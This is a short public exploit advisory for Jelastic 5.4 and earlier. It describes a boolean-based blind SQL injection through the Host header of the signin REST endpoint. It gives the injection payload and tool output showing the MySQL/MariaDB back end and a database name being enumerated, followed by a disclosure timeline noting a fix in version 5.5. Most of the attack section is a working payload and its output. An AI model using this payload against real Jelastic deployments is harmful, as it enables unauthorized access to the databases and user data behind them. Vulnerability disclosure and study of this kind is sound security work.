# Exploit Title: Jelastic 5.4 and earlier versions # Exploit Author: https://twitter.com/Procode701 # Dork: N/A # Date: 2018-10-13 # Vendor Homepage: https://jelastic.com/ # Software Link: https://jelastic.com/ # Version: 5.4 # Category: Webapps # CVE: N/A # POC: ######################################################## The application /1.0/users/authentication/rest/signin is vulnerable to SQL injection. Vulnerable application Header field: Host: xxxxx.jelastic.com' AND 8494=8494-- ttWV EXPLOIT POC : Parameter: Host #1* ((custom) HEADER) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: app.demo.jelastic.com' AND 8494=8494-- ttWV --- [21:35:21] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL 5 (MariaDB fork) [21:35:21] [INFO] fetching tables for database: 'hivet_jeeas' [21:35:21] [INFO] fetching number of tables for database 'hivet_jeeas' PAYLOAD: ' AND 8494=8494-- ttWV ######################################################## Disclosure Timeline ============================= Vendor Notification: June 5, 2018, ( vendor nor respond ) Notification TO Telecom Italia "TIM Digital Store" , June 5, 2018, ( Telecom Italia sec team managed the vulnerability with the jelastic development team). Vendor released the fix on version 5.5 October 13, 2018 : Public Disclosure